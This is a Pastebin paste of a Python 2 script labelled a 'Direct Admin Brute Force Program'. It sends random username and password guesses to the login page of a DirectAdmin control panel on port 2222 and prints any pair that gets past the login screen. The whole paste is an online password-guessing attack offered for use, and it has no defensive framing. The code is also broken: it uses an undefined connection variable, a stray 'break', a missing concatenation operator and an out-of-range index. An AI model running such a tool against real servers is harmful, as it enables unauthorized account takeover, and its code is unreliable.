Advertisement
Guest User

Untitled

a guest
Aug 17th, 2017
126
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.55 KB | None | 0 0
  1. # Direct Admin Brute Force Program
  2.  
  3. import httplib, urllib, random
  4. def da_bf(url, username_length, password_length):
  5.     chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'
  6.     full_url = url + ':2222'
  7.     conn_da = httplib.HTTPConnection(full_url)
  8.     headers = {'Content-type' : 'application/x-www-form-urlencoded', 'Accept' : 'text/plain'}
  9.     conn_da.request('GET', '/CMD_LOGIN')
  10.     get_page_content = conn.getresponse()
  11.     if (get_page_content.status == 200):
  12.         regular_page_content = get_page_content.read()
  13.     else:
  14.         print(get_page_content.status + get_page_content.reason + '\n')
  15.         break
  16.     conn_da.request('POST', '/CMD_LOGIN', urllib.urlencode({'username' : ' ', 'password' : ' '}), headers)
  17.     get_error_page = conn_da.getresponse()
  18.     error_page_content = get_error_page.read()
  19.     conn_da.request('GET', '/CMD_LOGIN')
  20.     get_content_main = conn_da.getresponse()
  21.     main_page_content = get_content_main.read()
  22.     while (main_page_content == regular_page_content or main_page_content == error_page_content):
  23.         random_length_username = random.randint(1, username_length)
  24.         random_char_number = 1
  25.         random_string_username = ''
  26.         while (random_char_number < random_length_username):
  27.             random_char_username = chars[random.randint(0, len(chars))]
  28.             random_string_username = random_string_username + random_char_username
  29.             random_char_number = random_char_number + 1
  30.         random_char_number = 1
  31.         random_length_password = random.randint(1, password_length) # generate a random length for the password
  32.         random_string_password = ''
  33.         while (random_char_number < random_length_password):
  34.             random_char_password = chars[random.randint(0, len(chars))]
  35.             random_string_password = random_string_password + random_char_password
  36.             random_char_number = random_char_number + 1
  37.         print("trying username " + random_string_username " with password " + random_string_password + "\n")
  38.         params = urllib.urlencode({'username' : random_string_username, 'password' : random_string_password})
  39.         conn_da.request('POST', '/CMD_LOGIN', params, headers)
  40.         get_r = conn_da.getresponse()
  41.         resp = get_r.read()
  42.         main_page_content = resp
  43.         if (main_page_content != regular_page_content and main_page_content != error_page_content):
  44.             print('Brute force succeeded! Username: ' + random_string_username + '\nPassword: ' + random_string_password + '\n' + full_url)
  45.             break
  46.         else:
  47.             pass
  48.     conn_da.close()
  49. da_url = raw_input('enter url:\n')
  50. da_u_length = input('enter username max length:\n')
  51. da_p_length = input('enter password max length:\n')
  52. da_bf(da_url, da_u_length, da_p_length)
  53. raw_input()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement